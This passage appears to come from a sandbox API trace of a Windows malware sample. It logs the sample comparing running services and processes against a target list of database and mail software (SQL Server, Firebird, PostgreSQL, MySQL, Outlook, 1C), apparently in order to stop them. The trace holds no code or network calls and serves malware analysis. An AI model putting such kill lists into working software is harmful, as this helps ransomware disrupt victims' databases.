lpString2="WinDefend") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0047.281] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.281] lstrlenW (lpString="Winmgmt") returned 7 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.282] lstrlenW (lpString="wscsvc") returned 6 [0047.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0047.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0047.282] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0047.282] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0047.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0047.282] lstrlenW (lpString="wuauserv") returned 8 [0047.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0047.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0047.282] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0047.282] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0047.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0047.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe7910 | out: hHeap=0x520000) returned 1 [0047.282] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0047.286] Process32FirstW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.286] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.287] lstrlenW (lpString="System") returned 6 [0047.287] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.287] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.288] lstrlenW (lpString="smss.exe") returned 8 [0047.288] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.288] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.288] lstrlenW (lpString="csrss.exe") returned 9 [0047.288] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.289] lstrlenW (lpString="wininit.exe") returned 11 [0047.289] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.289] lstrlenW (lpString="csrss.exe") returned 9 [0047.289] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.290] lstrlenW (lpString="winlogon.exe") returned 12 [0047.290] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.290] lstrlenW (lpString="services.exe") returned 12 [0047.290] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.291] lstrlenW (lpString="lsass.exe") returned 9 [0047.291] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.291] lstrlenW (lpString="lsm.exe") returned 7 [0047.291] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.292] lstrlenW (lpString="svchost.exe") returned 11 [0047.292] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.293] lstrlenW (lpString="svchost.exe") returned 11 [0047.293] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.293] lstrlenW (lpString="svchost.exe") returned 11 [0047.293] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.294] lstrlenW (lpString="svchost.exe") returned 11 [0047.294] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.294] lstrlenW (lpString="svchost.exe") returned 11 [0047.294] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.295] lstrlenW (lpString="audiodg.exe") returned 11 [0047.295] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.295] lstrlenW (lpString="svchost.exe") returned 11 [0047.295] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.296] lstrlenW (lpString="svchost.exe") returned 11 [0047.296] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.296] lstrlenW (lpString="dwm.exe") returned 7 [0047.296] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.297] lstrlenW (lpString="explorer.exe") returned 12 [0047.297] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.297] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.297] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.298] lstrlenW (lpString="taskhost.exe") returned 12 [0047.298] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.298] lstrlenW (lpString="svchost.exe") returned 11 [0047.298] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.299] lstrlenW (lpString="taskeng.exe") returned 11 [0047.299] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.299] lstrlenW (lpString="taskhost.exe") returned 12 [0047.299] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.300] lstrlenW (lpString="svchost.exe") returned 11 [0047.300] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0047.300] lstrlenW (lpString="sppsvc.exe") returned 10 [0047.300] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.301] lstrlenW (lpString="svchost.exe") returned 11 [0047.301] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0047.302] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0047.302] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0047.302] lstrlenW (lpString="smsvhskate.exe") returned 14 [0047.302] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0047.303] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0047.303] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0047.303] lstrlenW (lpString="patient latin.exe") returned 17 [0047.303] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0047.304] lstrlenW (lpString="barbados.exe") returned 12 [0047.304] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0047.304] lstrlenW (lpString="otthose.exe") returned 11 [0047.304] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0047.305] lstrlenW (lpString="suburban.exe") returned 12 [0047.305] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0047.305] lstrlenW (lpString="examination.exe") returned 15 [0047.305] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0047.306] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0047.306] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0047.676] lstrlenW (lpString="madrid.exe") returned 10 [0047.676] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0047.677] lstrlenW (lpString="measurerush.exe") returned 15 [0047.677] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0047.677] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0047.678] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0047.678] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0047.678] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0047.679] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0047.679] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0047.679] lstrlenW (lpString="jessefun.exe") returned 12 [0047.679] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0047.680] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0047.680] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0047.680] lstrlenW (lpString="sellers.exe") returned 11 [0047.680] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0047.681] lstrlenW (lpString="gras hair.exe") returned 13 [0047.681] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0047.681] lstrlenW (lpString="acquisitions.exe") returned 16 [0047.681] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0047.682] lstrlenW (lpString="starscondos.exe") returned 15 [0047.682] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0047.682] lstrlenW (lpString="3dftp.exe") returned 9 [0047.682] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0047.683] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0047.683] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0047.683] lstrlenW (lpString="alftp.exe") returned 9 [0047.683] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0047.684] lstrlenW (lpString="barca.exe") returned 9 [0047.684] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0047.684] lstrlenW (lpString="bitkinex.exe") returned 12 [0047.684] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0047.685] lstrlenW (lpString="coreftp.exe") returned 11 [0047.685] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0047.686] lstrlenW (lpString="far.exe") returned 7 [0047.686] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0047.686] lstrlenW (lpString="filezilla.exe") returned 13 [0047.686] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0047.687] lstrlenW (lpString="flashfxp.exe") returned 12 [0047.687] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0047.687] lstrlenW (lpString="fling.exe") returned 9 [0047.688] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0047.688] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0047.688] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0047.689] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0047.689] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0047.690] lstrlenW (lpString="icq.exe") returned 7 [0047.690] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0047.691] lstrlenW (lpString="leechftp.exe") returned 12 [0047.691] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0047.692] lstrlenW (lpString="ncftp.exe") returned 9 [0047.692] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0047.693] lstrlenW (lpString="notepad.exe") returned 11 [0047.693] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: 